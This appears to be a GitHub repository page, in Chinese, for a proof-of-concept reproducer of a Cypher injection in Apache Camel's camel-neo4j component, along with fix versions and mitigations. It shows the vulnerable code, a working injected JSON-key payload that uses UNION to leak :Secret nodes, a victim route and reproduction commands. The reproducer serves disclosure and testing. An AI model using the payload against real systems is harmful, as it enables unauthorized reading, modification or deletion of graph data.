oscerd/CVE-2026-46591

GitHub: oscerd/CVE-2026-46591

Apache Camel camel-neo4j 组件 Cypher 注入漏洞(CVE-2026-46591)的完整复现项目,演示属性名拼接导致的授权绕过与数据泄露。

Stars: 0 | Forks: 0

# camel-neo4j Cypher 注入复现器 (CVE-2026-46591) 本项目演示了 Apache Camel 的 `camel-neo4j` 组件中的一个 **Cypher 注入**漏洞,追踪编号为 **CVE-2026-46591**。生产者根据 `CamelNeo4jMatchProperties` map 为其 match/retrieve 和 delete 操作构建 Cypher 的 `WHERE` 子句。 **CVE-2025-66169** 通过将属性*值*绑定为查询参数(`$paramN`)修复了属性*值*的注入漏洞 —— 但是属性*名*(该 map 的 JSON key) 在 `Neo4jProducer.retrieveNodes()` 和 `deleteNode()` 中仍然被**原封不动地**拼接到了查询字符串中。因此,包含 Cypher 语法的属性 名会改变所执行查询的结构。 此 PoC 将其影响演示为**授权绕过 / 数据泄露**:攻击者将 Cypher 放入 JSON key 中,从而通过 `UNION` 重写 `:Person` 查询,使其同时返回原本无权触碰的 `:Secret` 节点 —— 这与安全公告中提到的“读取、修改或删除任何节点或关系”相符。 安全公告:https://camel.apache.org/security/CVE-2026-46591.html ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-neo4j` | | **受影响的类** | `org.apache.camel.component.neo4j.Neo4jProducer#retrieveNodes` / `#deleteNode`(属性名被插值到 WHERE 子句中) | | **CWE** | CWE-943(数据查询逻辑中特殊元素的不当中和处理) | | **影响** | Cypher 注入 → 读取 / 修改 / 删除任意节点和关系 | | **前置条件** | 某个路由将不受信任的输入映射到 `CamelNeo4jMatchProperties` map(例如请求体);由于该 header 带有 Camel 前缀,普通的 HTTP 客户端无法直接设置它 | | **受影响的版本** | 从 4.10.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 | | **修复版本** | 4.14.8, 4.18.3, 4.21.0 | | **JIRA** | CAMEL-23528 (PR [apache/camel#23258](https://github.com/apache/camel/pull/23258)) | | **致谢** | Yu Bao (PayPal) | ## 技术细节 ``` // Neo4jProducer.retrieveNodes (affected 4.18.2) — the VALUE is a parameter, the NAME is concatenated verbatim: for (Map.Entry entry : matchMap.entrySet()) { if (paramIndex > 0) whereClause.append(" AND "); String paramName = "param" + paramIndex; whereClause.append(alias).append(".").append(entry.getKey()) // <-- entry.getKey() (the JSON key) unescaped .append(" = $").append(paramName); queryParams.put(paramName, entry.getValue()); // value is safely bound paramIndex++; } query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias); ``` 对于无害的 map `{"name":"alice"}`,其查询语句为 `MATCH (n:Person) WHERE n.name = $param0 RETURN n`。如果使用恶意的 **key**: ``` key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node // ``` 构建的查询将变为(模板中末尾的 `// = $param0 RETURN n` 被注释掉了): ``` MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node ``` 因此响应中将包含调用者的 `:Person` 节点**以及** `:Secret` 节点。 修复方案(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23528)在 `retrieveNodes()` 和 `deleteNode()` 中均添加了严格的属性名校验 (`^[A-Za-z_][A-Za-z0-9_]*$`),对于任何不匹配的名称,会抛出 `Neo4jOperationException` 予以拒绝。 ## 受害路由 ``` from("platform-http:/lookup") .convertBodyTo(String.class) .setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES)) .setHeader(Neo4jHeaders.MATCH_PROPERTIES, body()) // untrusted JSON body becomes the match map .to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n"); ``` 这是一个“按属性查找人员”的 API:客户端以 JSON 形式提供匹配条件,路由将其作为 `CamelNeo4jMatchProperties` 传递给生产者。图数据库中包含两个 `:Person` 节点以及一个 `:Secret` 节点,人员查找操作绝不应该返回该节点的 `value`。 ## 仓库结构 **受害者**是 Camel 路由及其 Neo4j 数据库;**攻击者**是将 Cypher 放入 JSON key 的 HTTP 客户端。一个小的播种程序会植入节点,并在启动时检查 Neo4j 是否准备就绪。 ``` CVE-2026-46591/ ├── pom.xml # camel-platform-http + camel-neo4j 4.18.2 ├── Dockerfile ├── docker-compose.yml # neo4j 5.26 + the app ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── Neo4jSettings.java # host / bolt / creds / secret flag │ ├── Neo4jConfig.java # the Neo4j Driver bean (referenced as #neo4jDriver) │ ├── Neo4jSeeder.java # waits for Neo4j, seeds :Person + :Secret nodes │ ├── VictimRoute.java # platform-http:/lookup -> neo4j RETRIEVE_NODES │ └── ExploitController.java # attacker: legit vs Cypher-in-the-JSON-key └── resources/ └── application.properties ``` ## 前置条件 - Docker 和 Docker Compose(用于运行 Neo4j + 应用) - Java 17+ 和 Maven 3.8+(用于构建 jar) ## 复现步骤 ``` mvn clean package -DskipTests docker compose up -d --build # first start pulls the ~1GB neo4j image # 等待 app 日志行 "Started Application",然后: curl -s http://localhost:8080/exploit/attack docker compose down -v ``` ### 预期输出 ``` === 1) Legitimate lookup body={"name":"alice"} === [{name=alice, role=user}] secret leaked: false === 2) Injected lookup (Cypher in the JSON key) === key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node // [{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}] secret leaked: true >>> Cypher-injection proof — a property NAME rewrote the query to read a :Secret node the >>> :Person lookup should never return: true ``` ## 攻击向量 任何将不受信任的数据携带到 `CamelNeo4jMatchProperties` 以执行 `RETRIEVE_NODES` 或 `DELETE_NODE` 操作的路由。除了通过 `UNION` 读取其他标签外,注入的 key 还可以添加 `SET`/`DELETE`/`DETACH DELETE` 子句来修改或破坏任意节点和关系。 ## 推荐修复 升级至 **4.14.8 / 4.18.3 / 4.21.0**(CAMEL-23528)。修复后,在将属性名放入查询之前,会根据 `^[A-Za-z_][A-Za-z0-9_]*$` 对其进行校验。 ## 缓解措施 在升级之前,请勿使用不受信任的输入填充 `CamelNeo4jMatchProperties`:在 Neo4j 生产者之前校验属性名或将其加入白名单 (例如参照 `^[A-Za-z_][A-Za-z0-9_]*$`),并确保为此类路由提供数据的任何 consumer 都会过滤传入的 `Camel*` / `camel*` header,从而确保匹配 header 无法由 外部发送者提供。 ## 免责声明 本复现器仅用于**安全研究和授权测试**,针对的是一个**已公开披露且已修复的**漏洞。未经明确许可,请勿将其用于攻击系统。
标签:Apache Camel, CISA项目, Cypher注入, JS文件枚举, Neo4j, PoC, 域名枚举, 安全, 暴力破解, 漏洞复现, 版权保护, 请求拦截, 超时处理